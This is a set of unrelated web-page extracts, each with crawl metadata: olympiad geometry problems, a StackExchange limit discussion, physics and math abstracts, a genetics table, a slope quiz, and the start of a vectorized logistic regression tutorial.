characters for speaker notes and allow the speaker notes section to be scrollable within the presenter view. I usually number my notes so I know when to reference a new fragment in my slide. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) We’ve removed the 300-character limit on speaker notes! Notes that are 300+ characters long may not be immediately visible but they can be accessed by scrolling. 20. responsive export presentations embebed export presentation to be responsive 1 vote Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) The presentation inside of the embedded iframe is already responsive. However you the embedding site will need to use CSS to resize the iframe element based on viewport size and layout. In some cases it might be enough to change the “width” attribute in the embed code to 100%.	2022-05-19 16:21:55	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.39389094710350037, "perplexity": 5699.51576356362}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662529538.2/warc/CC-MAIN-20220519141152-20220519171152-00585.warc.gz"}
https://imogeometry.blogspot.com/p/korea-junior-kjmo.html	### Korea Junior (KJMO) 2005-18 28p geometry problems from South Korean Junior Mathematical Olympiads (KJMO) with aops links in the names 2005 - 2018 2005 KJMO P2 For triangle $ABC, P$ and $Q$ satisfy $\angle BPA + \angle AQC = 90^o$. It is provided that the vertices of the triangle $BAP$ and $ACQ$ are ordered counterclockwise (or clockwise). Let the intersection of the circumcircles of the two triangles be $N$ ($A \ne N$, however if $A$ is the only intersection $A = N$), and the midpoint of segment $BC$ be $M$. Show that the length of $MN$ does not depend on $P$ and $Q$. 2005 KJMO P5 n $\triangle ABC$, let the bisector of $\angle BAC$ hit the circumcircle at $M$. Let $P$ be the intersection of $CM$ and $AB$. Denote by $(V,WX,YZ)$ the intersection of the line passing $V$ perpendicular to $WX$ with the line $YZ$. Prove that the points $(P,AM,AC), (P,AC,AM), (P,BC,MB)$ are collinear. 2006 KJMO P3 In a circle $O$, there are six points, $A,B,C,D,E, F$ in a counterclockwise order. $BD \perp CF$, and $CF,BE,AD$ are concurrent. Let the perpendicular from $B$ to $AC$ be $M$, and the perpendicular from $D$ to $CE$ be $N$. Prove that $AE // MN$. 2006 KJMO P7 A line through point $P$ outside of circle $O$ meets the said circle at $B,C$ ($PB < PC$). Let $PO$ meet circle $O$ at $Q,D$ (with $PQ < PD$). Let the line passing $Q$ and perpendicular to $BC$ meet circle $O$ at $A$. If $BD^2 = AD\cdot CP$, prove that $PA$ is a tangent to $O$. 2007 KJMO P4 Let $P$ be a point inside $\triangle ABC$. Let the perpendicular bisectors of $PA,PB,PC$ be $\ell_1,\ell_2,\ell_3$. Let $D =\ell_1 \cap \ell_2 , E=\ell_2 \cap \ell_3, F=\ell_3 \cap \ell_1$. If $A,B,C,D,E,F$ lie on a circle, prove that $C, P,D$ are collinear. 2007 KJMO P7 Let the incircle of $\triangle ABC$ meet $BC,CA,AB$ at $J,K,L$. Let $D(\ne B, J),E(\ne C,K), F(\ne A,L)$ be points on $BJ,CK,AL$. If the incenter of $\triangle ABC$ is the circumcenter of $\triangle DEF$ and $\angle BAC = \angle DEF$, prove that $\triangle ABC$ and $\triangle DEF$ are isosceles triangles. 2008 KJMO P1 In a $\triangle XYZ$, points $A,B$ lie on segment $ZX, C,D$ lie on segment $XY , E, F$ lie on segment $YZ$. $A, B, C, D$ lie on a circle, and $\frac{AZ \cdot EY \cdot ZB \cdot Y F}{EZ \cdot CY \cdot ZF \cdot Y D}= 1$ . Let $L = ZX \cap DE,M = XY \cap AF,N = Y Z \cap BC$. Prove that $L,M,N$ are collinear. 2008 KJMO P5 Let there be a pentagon $ABCDE$ inscribed in a circle $O$. The tangent to $O$ at $E$ is parallel to $AD$. A point $F$ lies on $O$ and it is in the opposite side of $A$ with respect to $CD$, and satisfies $AB \cdot BC \cdot DF = AE \cdot ED \cdot CF$ and $\angle CFD = 2\angle BFE$. Prove that the tangent to $O$ at $B,E$ and line $AF$ concur at one point. 2009 KJMO P2 In an acute triangle $\triangle ABC$, let $A',B',C'$ be the reflection of $A,B,C$ with respect to $BC,CA,AB$. Let $D = B'C \cap BC',E = CA' \cap C'A,F = A'B \cap AB'$. Prove that $AD,BE,CF$ are concurrent 2009 KJMO P5 Acute triangle $\triangle ABC$ satises $AB < AC$. Let the circumcircle of this triangle be $O$, and the midpoint of $BC,CA,AB$ be $D,E,F$. Let $P$ be the intersection of the circle with $AB$ as its diameter and line $DF$, which is in the same side of $C$ with respect to $AB$. Let $Q$ be the intersection of the circle with $AC$ as its diameter and the line $DE$, which is in the same side of $B$ with respect to $AC$. Let $PQ \cap BC = R$, and let the line passing through $R$ and perpendicular to $BC$ meet $AO$ at $X$. Prove that $AX = XR$. 2010 KJMO P3 In an acute triangle $\triangle ABC$, let there be point $D$ on segment $AC, E$ on segment $AB$ such that $\angle ADE = \angle ABC$. Let the bisector of $\angle A$ hit $BC$ at $K$. Let the foot of the perpendicular from $K$ to $DE$ be $P$, and the foot of the perpendicular from $A$ to $DE$ be $L$. Let $Q$ be the midpoint of $AL$. If the incenter of $\triangle ABC$ lies on the circumcircle of $\triangle ADE$, prove that $P,Q$ and the incenter of $\triangle ADE$ are collinear. 2010 KJMO P7 Let $ABCD$ be a cyclic convex quadrilateral. Let $E$ be the intersection of lines $AB,CD$. $P$ is the intersection of line passing $B$ and perpendicular to $AC$, and line passing $C$ and perpendicular to $BD$. $Q$ is the intersection of line passing $D$ and perpendicular to $AC$, and line passing $A$ and perpendicular to $BD$. Prove that three points $E, P,Q$ are collinear. 2011 KJMO P2 Let $ABCD$ be a cyclic quadrilateral inscirbed in circle $O$. Let the tangent to $O$ at $A$ meet $BC$ at $S$, and the tangent to $O$ at $B$ meet $CD$ at $T$. Circle with $S$ as its center and passing $A$ meets $BC$ at $E$, and $AE$ meets $O$ again at $F(\ne A)$. The circle with $T$ as its center and passing $B$ meets $CD$ at $K$. Let $P = BK \cap AC$. Prove that $P,F,D$ are collinear if and only if $AB = AP$. 2011 KJMO P5 In triangle $ABC$, ($AB \ne AC$), let the orthocenter be $H$, circumcenter be $O$, and the midpoint of $BC$ be $M$. Let $HM \cap AO = D$. Let $P,Q,R,S$ be the midpoints of $AB,CD,AC,BD$. Let $X = PQ\cap RS$. Find $AH/OX$. 2012 KJMO P2 A pentagon $ABCDE$ is inscribed in a circle $O$, and satis fies $\angle A = 90^o, AB = CD$. Let $F$ be a point on segment $AE$. Let $BF$ hit $O$ again at $J(\ne B), CE \cap DJ = K, BD\cap FK = L$. Prove that $B,L,E,F$ are cyclic. 2012 KJMO P5 Let $ABCD$ be a cyclic quadrilateral inscirbed in a circle $O$ ($AB> AD$), and let $E$ be a point on segment $AB$ such that $AE = AD$. Let $AC \cap DE = F$, and $DE \cap O = K(\ne D)$. The tangent to the circle passing through $C,F,E$ at $E$ hits $AK$ at $L$. Prove that $AL = AD$ if and only if $\angle KCE = \angle ALE$. 2013 KJMO P2 A pentagon $ABCDE$ is inscribed in a circle $O$, and satises $AB = BC , AE = DE$. The circle that is tangent to $DE$ at $E$ and passing $A$ hits $EC$ at $F$ and $BF$ at $G (\ne F)$. Let $DG\cap O = H (\ne D)$. Prove that the tangent to $O$ at $E$ is perpendicular to $HA$. 2013 KJMO P5 In an acute triangle $\triangle ABC, \angle A > \angle B$. Let the midpoint of $AB$ be $D$, and let the foot of the perpendicular from $A$ to $BC$ be $E$, and $B$ from $CA$ be $F$. Let the circumcenter of $\triangle DEF$ be $O$. A point $J$ on segment $BE$ satisfies $\angle ODC = \angle EAJ$. Prove that $AJ \cap DC$ lies on the circumcircle of $\triangle BDE$. 2014 KJMO P1 In a triangle $\triangle ABC$ with incenter $I$. Let $D$ = $AI$ $\cap$ $BC$ ,$E$ = incenter of $\triangle ABD$, $F$ = incenter of $\triangle ACD$, $P$ = intersection of $\odot BCE$ and $\overline {ED}$, $Q$ = intersection of $\odot BCF$ and $\overline {FD}$, $M$ = midpoint of $\overline {BC}$ . Prove that $D, M, P, Q$ concycle. 2014 KJMO P7 In a parallelogram $ABCD$ $(AB < BC)$ . The incircle of $\triangle ABC$ meets $\overline {BC}$ and $\overline {CA}$ at $P, Q$. The incircle of $\triangle ACD$ and $\overline {CD}$ meets at $R$. Let $S$ = $PQ$ $\cap$ $AD$. $U$ = $AR$ $\cap$ $CS$. $T$, a point on $\overline {BC}$ such that $\overline {AB} = \overline {BT}$ . Prove that $AT, BU, PQ$ are concurrent 2015 KJMO P1 In an acute, scalene triangle $\triangle ABC$, let $O$ be the circumcenter. Let $M$ be the midpoint of $AC$. Let the perpendicular from $A$ to $BC$ be $D$. Let the circumcircle of $\triangle OAM$ hit $DM$ at $P(\not= M)$. Prove that $B, O, P$ are colinear. 2015 KJMO P5 Let $I$ be the incenter of an acute triangle $\triangle ABC$, and let the incircle be $\Gamma$. Let the circumcircle of $\triangle IBC$ hit $\Gamma$ at $D, E$, where $D$ is closer to $B$ and $E$ is closer to $C$. Let $\Gamma \cap BE = K (\not= E)$, $CD \cap BI = T$, and $CD \cap \Gamma = L (\not= D)$. Let the line passing $T$ and perpendicular to $BI$ meet $\Gamma$ at $P$, where $P$ is inside $\triangle IBC$. Prove that the tangent to $\Gamma$ at $P$, $KL$, $BI$ are concurrent. 2016 KJMO P2 (also KMO) A non-isosceles triangle $\triangle ABC$ has its incircle tangent to $BC, CA, AB$ at points $D, E, F$. Let the incenter be $I$. Say $AD$ hits the incircle again at $G$, at let the tangent to the incircle at $G$ hit $AC$ at $H$. Let $IH \cap AD = K$, and let the foot of the perpendicular from $I$ to $AD$ be $L$. Prove that $IE \cdot IK= IC \cdot IL$. 2016 KJMO P6 Circle $O_1$ is tangent to $AC$, $BC$(side of triangle $ABC$) at point $D, E$. Circle $O_2$ include $O_1$, is tangent to $BC$, $AB$(side of triangle $ABC$) at point $E, F$ . The tangent of $O_2$ at $P(DE \cap O_2, P \neq E)$ meets $AB$ at $Q$. A line passing through $O_1$(center of $O_1$) and parallel to $BO_2$($O_2$ is also center of $O_2$) meets $BC$ at $G$, $EQ \cap AC=K, KG \cap EF=L$, $EO_2$ meets circle $O_2$ at $N(\neq E)$, $LO_2 \cap FN=M$. IF $N$ is a middle point of $FM$, prove that $BG=2EG$ 2017 KJMO P2 (also KMO) Let there be a scalene triangle $ABC$, and its incircle hits $BC, CA, AB$ at $D, E, F$. The perpendicular bisector of $BC$ meets the circumcircle of $ABC$ at $P, Q$, where $P$ is on the same side with $A$ with respect to $BC$. Let the line parallel to $AQ$ and passing through $D$ meet $EF$ at $R$. Prove that the intersection between $EF$ and $PQ$ lies on the circumcircle of $BCR$. 2017 KJMO P6 Let triangle $ABC$ be an acute scalene triangle, and denote $D,E,F$ by the midpoints of $BC,CA,AB$, respectively. Let the circumcircle of $DEF$ be $O_1$, and its center be $N$. Let the circumcircle of $BCN$ be $O_2$. $O_1$ and $O_2$ meet at two points $P, Q$. $O_2$ meets $AB$ at point $K(\neq B)$ and meets $AC$ at point $L(\neq C)$. Show that the three lines $EF,PQ,KL$ are concurrent. 2018 KJMO P3 Let there be a scalene triangle $ABC$, and denote $M$ by the midpoint of $BC$. The perpendicular bisector of $BC$ meets the circumcircle of $ABC$ at point $P$, on the same side with $A$ with respect to $BC$. Let the incenters of $ABM$ and $AMC$ be $I,J$, respectively. Let $\angle BAC=\alpha$, $\angle ABC=\beta$, $\angle BCA=\gamma$. Find $\angle IPJ$. 2018 KJMO P5 Let there be an acute scalene triangle $ABC$ with circumcenter $O$. Denote $D,E$ be the reflection of $O$ with respect to $AB,AC$, respectively. The circumcircle of $ADE$ meets $AB$, $AC$, the circumcircle of $ABC$ at points $K,L,M$, respectively, and they are all distinct from $A$. Prove that the lines $BC,KL,AM$ are concurrent.	2019-10-18 00:18:05	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8781507611274719, "perplexity": 120.34025540566186}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986677230.18/warc/CC-MAIN-20191017222820-20191018010320-00477.warc.gz"}
http://math.stackexchange.com/questions/586141/limit-calculation	# Limit calculation $\lim_{n\to\infty}((\frac94)^n+(1+\frac1n)^{n^2})^{\frac1n}$ Here's what I did: $\lim_{n\to\infty}((\frac94)^n+(1+\frac1n)^{n^2})^{\frac1n}\\ =(\lim(\frac94)^n+\lim((1+\frac1n)^{n})^n)^{\frac1n}\\ =(\lim(\frac94)^n+\lim e^n)^{\frac1n}\\$ Any hints on how to continue? PS: no logs/integration/derivation because we haven't covered it. - You can't push the limit inside. – egreg Nov 29 '13 at 21:57 I think the first step might actually be to recombine: $$1+\frac 1n=\frac {1+n}n$$ then the next step is $$\left(\frac 94\right)^n+\left(\frac{n+1}n\right)^{n^2}=\frac {(9n^n)^n+(n+1)^{n^2}}{(4n^n)^n}$$ – abiessu Nov 29 '13 at 22:00 @abiessu, souldn't that be: $$\frac {(9n^n)^n+4^n(n+1)^{n^2}}{(4n^n)^n}$$ ? Also, I can't find how does that help... – GinKin Nov 29 '13 at 22:21 This question begs for logarithms and derivatives... Why restrict yourself? – Chris K Nov 29 '13 at 22:29 Well... you haven't done l'Hopital's Rule? Or logarithms? – Chris K Nov 29 '13 at 22:31 \begin{align} &\lim_{n\to\infty}\left(\left(\frac94\right)^n+\left(1+\frac1n\right)^{n^2}\right)^{1/n}\tag{1}\\ &=\lim_{n\to\infty}\left(1+\frac1n\right)^n\lim_{n\to\infty}\left(\left(\frac94\left(1+\frac1n\right)^{-n}\right)^n+1\right)^{1/n}\tag{2}\\ &=e\lim_{n\to\infty}\left(\left(\frac94e^{-1}\right)^n+1\right)^{1/n}\tag{3}\\[9pt] &=e\lim_{n\to\infty}\left(0+1\right)^{1/n}\tag{4}\\[18pt] &=e\tag{5} \end{align} Explanation: $(1)$: original expression $(2)$: bring a factor of $\left(1+\frac1n\right)^n$ outside the parentheses $(3)$: evaluate $\lim\limits_{n\to\infty}\left(1+\frac1n\right)^n=e$ $(4)$: evaluate $\lim\limits_{n\to\infty}\left(\frac94e^{-1}\right)^n=0$ $(5)$: evaluate $\lim\limits_{n\to\infty}1^{1/n}=1$ - Please explain what and how did you do this: $\lim_{n\to\infty}(1+\frac1n)^n \lim_{n\to\infty} (\left(\frac94(1+\frac1n)^{-n}\right)^n+1)^{1/n}$ – GinKin Nov 29 '13 at 23:11 @GinKin: factored $\left(1+\frac1n\right)^n$ out of the expression and put it on the left. That means dividing everything on the inside of the parentheses by $\left(1+\frac1n\right)^{n^2}$. – robjohn Nov 29 '13 at 23:22 It's basically like Matik Ken's answer. What makes me confused is PEMDAS, would you still be able to factor out even if it wasn't the $nth$ root i.e if it was to the power of n instead ? – GinKin Nov 29 '13 at 23:28 @GinKin: step $(2)$ is only algebra. Even if the limits were not there, step $(2)$ would be valid. – robjohn Nov 29 '13 at 23:32 @ParamanandSingh: We can apply that if the family $\{f_n\}$ is equicontinuous at $x_\infty=\lim\limits_{n\to\infty}x_n$ , then $\lim\limits_{n\to\infty}f_n(x_n)=\lim\limits_{n\to\infty}f_n(x_\infty)$. $$\left(\left(\frac94x\right)^n+1\right)^{1/n}\text{ is equicontinuous at }x=e^{-1}\text{ for }(3)$$ and $$(x+1)^{1/n}\text{ is equicontinuous at }x=0\text{ for }(4)$$ – robjohn Nov 30 '13 at 4:38 We know that the sequence $(a_n)$ defined by $$a_n=\left(1+\frac1n\right)^n$$ converges and its limit is $e$. Notice that $$\left[\left(\frac94\right)^n+\left(1+\frac1n\right)^{n^2}\right]^{1/n}=\left[\left(\frac94\right)^n+a_n^n\right]^{1/n}=a_n\left[1+\left(\frac{9}{4a_n}\right)^n\right]^{1/n}.$$ Since $$\lim_{n\to\infty}\frac{9}{4a_n}=\frac{9}{4e}<1,$$ it follows that $$\lim_{n\to\infty}\left[\left(\frac94\right)^n+\left(1+\frac1n\right)^{n^2}\right]^{1/n}=\lim_{n\to\infty}a_n\left[1+\left(\frac{9}{4a_n}\right)^n\right]^{1/n}=e(1+0)^0=e.$$ - The limit is indeed $e$. Let $a(n) = \frac94$ and $b(n) = (1+\frac1n)^n$ for $n \ge 1$. Since $\lim b(n) = e > 9/4 = 2.25$ ( versus $2.71728\ldots$ ) there is an $N$ such that if $n \ge N$ then $b(n) > 9/4$. Thus $x(n)= \frac{a(n)}{b(n)} < 1$ for $n \ge N$. Let $S(n) =$ the original expression, then: $S(n) = (a(n)^n + b(n)^n)^{\frac1n} = b(n)(1+(\frac{a(n)}{b(n)})^n)^{\frac1n} = b(n)r(n)$ whereas $r(n) = (1+(\frac{a(n)}{b(n)})^n)^{\frac1n}$ . We now estimate $r(n)$. It is easy to see that $1 < r(n) < 2^{\frac1n}$ for $n \ge N$. This means $\lim r(n) = 1$ and so $\lim S(n) = e$ as claimed. - For positive $n$, we have that $0 < \left(1 + \frac{1}{n}\right)^{n^2} = \left(\left(1 + \frac{1}{n}\right)^n\right)^n < e^n$. Thus, we can write $$\left(1 + \frac{1}{n}\right)^{n^2} < \left(\frac{9}{4}\right)^n + \left(1 + \frac{1}{n}\right)^{n^2} < \left(\frac{9}{4}\right)^n + e^n < 2 e^n$$ $$\left(\left(1 + \frac{1}{n}\right)^{n^2}\right)^{1/n} < \left(\left(\frac{9}{4}\right)^n + \left(1 + \frac{1}{n}\right)^{n^2}\right)^{1/n} < \left(2e^n\right)^{1/n}.$$ We can use the squeeze theorem on the last inequality to obtain the limit. - Um correct me if I'm wrong but using the squeeze theorem on this inequality will yield that the limit is 9/4 but from W\|A I know that the limit is e. – GinKin Nov 29 '13 at 22:19 You're right: for some reason, when I was writing the answer, I was convinced $\frac{9}{4} = 2.75 > e$. I fixed that, so now it should be right. – Strants Nov 29 '13 at 22:36 Well it seems like you just arbitrarily choose one of the two expression and apply the squeeze theorem to it. What would have happened if the expressions were more complex so you wouldn't know which one was bigger ? Also, how do you know that what you did last time was wrong without checking with W\|A ? Sorry if I don't understand enough but it seems like guesswork. – GinKin Nov 29 '13 at 22:41 Well, first off, I decided I would try the squeeze theorem, because if $a(n) < b(n) < c(n)$, the $(a(n))^{\frac{1}{n}} < (b(n))^{\frac{1}{n}} < (c(n))^{\frac{1}{n}}$, so I can just ignore the $\frac{1}{n}$ exponent for a while, then add it back in at the end. From there, I knew that $\left(1 + \frac{1}{n}\right)^n < e$, so $\left(1 + \frac{1}{n}\right)^{n^n} < e^n$. Now, in the expression $\left(\frac{9}{4}\right)^n + e^n$, $e^n$ will dominate for large $n$ (since $e \approx 2.71 > 2.25 = \frac{9}{4}$), so I decided to eliminate the less important $\left(\frac{9}{4}\right)^n$ term. – Strants Nov 30 '13 at 0:02	2015-07-30 23:48:33	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 1, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9775633215904236, "perplexity": 445.61790512910477}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-32/segments/1438042987775.70/warc/CC-MAIN-20150728002307-00117-ip-10-236-191-2.ec2.internal.warc.gz"}
https://agenda.infn.it/event/28874/contributions/171798/	# ICHEP 2022 Jul 6 – 13, 2022 Bologna, Italy Europe/Rome timezone ## Study of the heavy bottom baryons in a potential model Jul 8, 2022, 7:05 PM 1h 25m Bologna, Italy #### Bologna, Italy Palazzo della Cultura e dei Congressi Poster Strong interactions and Hadron Physics Zahra Ghalenovi ### Description The bottom heavy baryons are studied in the framework of a nonrelativistic quark model. We use the Hypercentral approach to solve the six-dimentional Schrödinger equation of the baryons. Introducing a potential model, the ground state masses and magnetic moments of the $\Sigma_b$ , $\Lambda_b$ , $\Xi_{bc}$ and $\Xi_{bb}$ heavy baryons are calculated. We also investigate the $b \rightarrow c$ semileptonic decay widths of the bottom baryons. Finally, the branching fractions are calculated. Our results are in agreement with the available experimental data and those of other works. In-person participation No ### Presentation materials ICHEP2022_Ghalenovi.mp4 ICHEP2022_Ghalenovi.pdf	2023-03-26 09:28:31	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4995952248573303, "perplexity": 3601.7796108219636}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296945440.67/warc/CC-MAIN-20230326075911-20230326105911-00654.warc.gz"}
http://cms.math.ca/10.4153/CMB-2008-048-8	location: Publications → journals → CMB Abstract view # Universal Inner Functions on the Ball Published:2008-12-01 Printed: Dec 2008 • Frédéric Bayart Features coming soon: Citations (via CrossRef) Tools: Search Google Scholar: Format: HTML LaTeX MathJax PDF PostScript ## Abstract It is shown that given any sequence of automorphisms $(\phi_k)_k$ of the unit ball $\bn$ of $\cn$ such that $\\|\phi_k(0)\\|$ tends to $1$, there exists an inner function $I$ such that the family of non-Euclidean translates" $(I\circ\phi_k)_k$ is locally uniformly dense in the unit ball of $H^\infty(\bn)$. Keywords: inner functions, automorphisms of the ball, universality MSC Classifications: 32A35 - $H^p$-spaces, Nevanlinna spaces [See also 32M15, 42B30, 43A85, 46J15] 30D50 - Blaschke products, bounded mean oscillation, bounded characteristic, bounded functions, functions with positive real part47B38 - Operators on function spaces (general)	2014-03-11 22:32:50	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8230152130126953, "perplexity": 3046.1287436001694}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-10/segments/1394011335666/warc/CC-MAIN-20140305092215-00007-ip-10-183-142-35.ec2.internal.warc.gz"}
https://www.genetics.org/highwire/markup/377108/expansion?width=1000&height=500&iframe=true&postprocessors=highwire_tables%2Chighwire_reclass%2Chighwire_figures%2Chighwire_math%2Chighwire_inline_linked_media%2Chighwire_embed	TABLE 5 Sporulation efficiency at the late time point Strain typeSample sizeMeanVarianceSegregational varianceEffective factors Segregants20690.720.120.063.5 Oak1041.460.00069 Hybrid1030.740.0017 Wine1040.170.00074 • The values are the result of an arcsine transformation (Sokal and Rohlf 1995) of the raw values, which increases genetic additivity and reduces the dependence of the variance upon the mean.	2021-01-22 13:59:12	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9011325240135193, "perplexity": 4713.487153276507}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703529331.99/warc/CC-MAIN-20210122113332-20210122143332-00498.warc.gz"}
https://byjus.com/question-answer/the-slope-of-a-line-parallel-to-y-axis-is-zero-true-false/	Question # The slope of a line parallel to Y-axis is zero.True False Solution ## The correct option is B False The slope of a line passing through points (x1,y1) and (x2,y2) is y2−y1x2−x1. Given the line is parallel to Y-axis. ⟹ the points on the line has the same abscissa. I.e. x1=x2 Therefore, x2−x1=0. I.e. the denominator of the expression y2−y1x2−x1 is zero. Hence the slope of a line parallel to Y-axis cannot be determined. Suggest corrections	2021-12-06 00:42:06	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8201947212219238, "perplexity": 860.1210771181875}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964363226.68/warc/CC-MAIN-20211205221915-20211206011915-00151.warc.gz"}
http://datahacker.rs/vectorizing-logistic-regression/	# #006A Fast Logistic Regression ## #006A Fast Logistic Regression Fast Logistic Regression When we are programming Logistic Regression or Neural Networks we should avoid explicit $$for$$ loops. It’s not always possible, but when we can, we should use built-in functions or find some other ways to compute it. Vectorizing the implementation of Logistic Regression makes the code highly efficient. In this post we will see how we can use this technique to compute gradient descent without using even a single $$for$$ loop. Now, we will examine the forward propagation step of logistic regression. If we have $$m$$ training examples, to make a prediction on the first example we need to compute $$z$$ and the activation function $$a$$ as follows: $$z^{(1)}= \omega^T x^{(1)} + b$$ $$a^{(1)} = \sigma(z^{(1)})$$ To make prediction on the second training example we need to compute this : $$z^{(2)}= \omega^T x^{(2)} + b$$ $$a^{(2)} = \sigma(z^{(2)})$$ The same is with prediction of third training example: $$z^{(3)}= \omega^T x^{(3)} + b$$ $$a^{(3)} = \sigma(z^{(3)})$$ So if we have $$m$$ training examples we need to do these calculations $$m$$ times. In order to carry out the forward propagation step, which means to compute these predictions for all $$m$$ training examples, there is a way to do this without needing an explicit for loop. We will stack all training examples horizontally in a matrix $$\textbf{X}$$, so that every column in matrix $$\textbf{X}$$ represents one training example: $$\textbf{X} = \begin{bmatrix} \vert & \vert & \dots & \vert \\ x^{(1)} & x^{(2)} & \dots & x^{(m)} \\ \vert & \vert & \dots & \vert \end{bmatrix}$$ Notice that matrix $$\omega$$ is a $$n_{x} 